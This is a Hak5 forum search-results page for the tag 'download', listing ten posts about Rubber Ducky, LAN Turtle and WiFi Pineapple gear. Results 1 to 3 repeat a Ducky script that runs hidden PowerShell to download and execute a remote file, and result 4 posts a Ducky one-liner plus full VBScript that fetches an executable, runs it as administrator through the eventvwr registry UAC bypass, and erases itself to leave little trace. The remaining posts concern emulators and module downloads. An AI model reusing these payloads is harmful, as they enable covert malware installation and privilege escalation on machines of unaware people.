Jump to content

Search the Community

Showing results for tags 'download'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Talk
    • Everything Else
    • Gaming
    • Questions
    • Business and Enterprise IT
    • Security
    • Hacks & Mods
    • Applications & Coding
    • Trading Post
  • Hak5 Gear
    • Hak5 Cloud C²
    • WiFi Pineapple Mark VII
    • USB Rubber Ducky
    • Bash Bunny
    • Key Croc
    • Packet Squirrel
    • Shark Jack
    • Signal Owl
    • LAN Turtle
    • Screen Crab
    • Plunder Bug
  • O.MG (Mischief Gadgets)
    • O.MG Cable
    • O.MG DemonSeed EDU
  • WiFi Pineapple (previous generations)
    • WiFi Pineapple TETRA
    • WiFi Pineapple NANO
    • WiFi Pineapple Mark V
    • WiFi Pineapple Mark IV
    • Pineapple Modules
    • WiFi Pineapples Mark I, II, III
  • Hak5 Shows
  • Community
    • Forums and Wiki
    • #Hak5
  • Projects
    • SDR - Software Defined Radio
    • Community Projects
    • Interceptor
    • USB Hacks
    • USB Multipass
    • Pandora Timeshifting

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


AIM


MSN


Website URL


ICQ


Yahoo


Jabber


Skype


Location


Interests


Enter a five letter word.

Found 10 results

  1. Hey guys, my name is Patrick. Im new in the hacking world, im learning. I have a question, I'm trying to download and execute a payload in my rubber ducky but I can't. This is the script: DELAY 2000 GUI r DELAY 1000 STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://myserver/file.exe','C:\file.exe');&'C:\file.exe' ENTER Can someone help me please.
  2. Hey guys, my name is Patrick. Im new in the hacking world, im learning. I have a question, I'm trying to download and execute a payload in my rubber ducky but I can't. This is the script: DELAY 2000 GUI r DELAY 1000 STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://myserver/file.exe','C:\file.exe');&'C:\file.exe' ENTER Can someone help me please.
  3. Hey guys, my name is Patrick. Im new in the hacking world, im learning. I have a question, I'm trying to download and execute a payload in my rubber ducky but I can't. This is the script: DELAY 2000 GUI r DELAY 1000 STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://myserver/file.exe','C:\file.exe');&'C:\file.exe' ENTER Can someone help me please.
  4. Hello! This is my first post and contribute to this community, one of hopefully many. I am yet to receive my rubber ducky, so while waiting i thought i give writing some scripts a go. I consider the rubber ducky to be the mother of physical access exploits, being able to deploy anything in a very short period of time. DELAY 750 GUI r DELAY 1000 STRING powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://myhost.com/script.txt', '%temp%/run.vbs') ;Start-Process '%temp%/run.vbs'}" DELAY 500 ENTER Above is a basic rubber ducky script that downloads and executes a .vbs script in one line using the "run" prompt in windows. Nothing fancy, fast and easy download and execute, however we are taking this a bit further. (This is the part i cannot yet test myself due to me not having the Rubber ducky at hand, however based on examples, this should be OK, please confirm if you have time) To get maximum speed we are using a 2 step process, getting a low sized script file is much faster then going to the payload itself straight away. This is the script.txt (run.vbs when saved) Sub Main() 'Setting some vars fileurl = "https://the.earth.li/~sgtatham/putty/latest/x86/putty.exe" filename = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "/pt.exe" 'Download function dim shellobj set shellobj = wscript.createobject("wscript.shell") strlink = fileurl strsaveto = filename set objhttpdownload = createobject("msxml2.xmlhttp" ) objhttpdownload.open "get", strlink, false objhttpdownload.send set objfsodownload = createobject ("scripting.filesystemobject") if objfsodownload.fileexists (strsaveto) then objfsodownload.deletefile (strsaveto) end if if objhttpdownload.status = 200 then dim objstreamdownload set objstreamdownload = createobject("adodb.stream") with objstreamdownload .type = 1 .open .write objhttpdownload.responsebody .savetofile strsaveto .close end with set objstreamdownload = nothing end if 'UAC bypass/exploit setup Set WshShell = CreateObject("WScript.Shell") myKey = "HKCU\Software\Classes\mscfile\shell\open\command\" WshShell.RegWrite myKey,filename ,"REG_SZ" 'UAC bypass/exploit trigger CreateObject("WScript.Shell").Run "eventvwr.exe" WScript.Sleep 1000 'UAC bypass/exploit cleanup Set objShell = Wscript.CreateObject("Wscript.Shell") objShell.RegDelete "HKCU\Software\Classes\mscfile\shell\open\command\" 'Cleanup removal of this script after completed Set Cleanup = WScript.CreateObject("WScript.Shell") Cleanup.Run "cmd /c del %temp%\run.vbs", 0, True End Sub 'We dont want to display any errors On Error Resume Next Main If Err.Number Then 'on error cleanup and exit set Cleanup = WScript.CreateObject("WScript.Shell") Cleanup.Run "cmd /c del %temp%\run.vbs", 0, True WScript.Quit 4711 End If I have commented this to my best ability. its pretty straight forward and is about 2kb in size It download and executes (in this case putty) as pt.exe in the temp folder of the current windows user. It then proceeds to write the payload file-path as a string value to "HKCU\Software\Classes\mscfile\shell\open\command\", we then trigger "eventvwr.exe" which is a built in windows application, this will launch our payload (pt.exe) as ADMIN on the targeted machine without any form of UAC prompt prompting the user. We then remove the reg-key to avoid issues in the future followed by the vbs script removing itself from the computer leaving little trace. If any point we get an error we also remove the script. . This method of bypassing UAC giving admin rights to any application using the path written as a string in the reg-key works on all versions of windows(From where the UAC system was introduced ofc) as far up as Windows 10 Pro 64Bit Build 1607. Basically 90% of machines. I hope you all enjoyed this, i will be making a short demo video of this to see the deployment speed when i receive my copy of the rubber ducky. Best Regards ~skiddie
  5. So I just recently started a project very similar to @HaydenM's USB Rubber Ducky Toolkit. I wanted a cross-platform, lightweight emulator that I could easily push onto an otherwise clean target machine, and emulate my ducky script code without having to go through the monotonous process of encoding, transferring the encoded file, placing onto the Ducky, inserting onto the target machine, testing, and repeating. It has not been validated with all kinds of Ducky input, and has not been tested with other localization. It's built on Python3, and uses the PyAutoGUI library for its keystroke emulation. If anyone's interested, the code is at the following Github page: Source Code: https://github.com/terrabitz/QuackTest/ Executables: https://github.com/terrabitz/QuackTest/releases/tag/v0.1 I have precompiled some executables using PyInstaller. I have precompiled both the CLI and GUI for Linux and Windows. (I haven't gotten it made for Mac, simply because I don't have one to compile on; however, the code should be mostly cross-compatible). Please note, the Windows *win.exe files don't seem to work on all environments, primarily unpatched ones that don't have all the necessary C++ redistributable libraries. I haven't yet been able to figure out why this is, but even on these, the *win.zip versions seem to work OK. Here's what the GUI version looks like on Windows:
  6. Hey everyone I made a toolkit for the Rubber Ducky featuring an emulator, code validator and encoder. It's currently in beta but is ready to be tested! You can download it from here; https://drive.google.com/open?id=0B7z_QzobhrFDXzRpMVBfOTlfOUE Source code is available here: https://github.com/HaydenMeloche/USB-Rubber-Ducky-Toolkit (plz dont copy and paste :) ) Leave any questions you have below :)
  7. I am unable to download any modules though internet connectivity exists and I can view available modules. Upon receiving my LANTurtle I immediately checked for and downloaded updates. This updated my firmware from v1 to v2. I could not download modules (didn't try before updating). Since I could not download modules, I followed instructions on the wiki and reflashed. I am running version 2 as downloaded from downloads.lanturtle.com. I successfully: -Acquire IP Address -SSH to Turtle -Change Password -Update Turtle from within turtle shell -Connect and view list of available modules -Successfully reflash with latest firmware (though issues persist) I cannot: -Download Modules I navigate to modules > modulemanager > configure > directory > yes > [select any module (all are displayed)] == message "installed modules:" ...no modules are installed -Start the ModuleManager Service (maybe doesn't matter?) ​Selecting modules > modulemanager > start == screen indicating press OK or CTRL+C to exit...service does not start Changing bootup status to "enabled" does not start the manager, even after performing above and/or rebooting accessing lower-level shell and entering #start modulemanager provides a message "commands will be executed using /bin/sh" and a job is created, though modulemanager still does not run I feel like this may be a firmware issue but cannot prove it since others have their turtles working on v2. I have a friend who received a turtle in same general time and did not update to v2. He is able to download and run modules without any problems. Could an official download be made available of the old v1 of the firmware as a potential temporary fix/troubleshooting step? Please advise, and thank you in advance for your help,
  8. Hi. I have just received my Wifi Pinapple Nano, and started trying it out. I have connected it to an Android phone using the WiFi Pinapple App. Last firmware installed: 1.0.5. Most of what I have had time to try so far, works nicely. However, I seem unable to download any Modules. When I click on the "Get Modules from WiFiPineapple.com" (on the "Manage Modules" menu), I see the list of available Modules. But then I am unable to do achieve anything. I have tried to click/tap on a module, but nothing happens. How is this supposed to work? Have I missed something? Skib
  9. When I go into the Pineapple Bar it acts like it is loading a list of possible infusions but nothing is shown under User Infusions. I just got my Mark V today and have the firmware updated to v 2.1.1. Has anyone run into this issue before? I have verified that it does actually connect out to the internet through my Windows connection (since it downloaded and installed the new firmware) and have tried restarting it. Thanks
  10. everyone keep posting about there new modules but from where can i download them ? i really want to use them with my pineapple but seems hard to download them
×
×
  • Create New...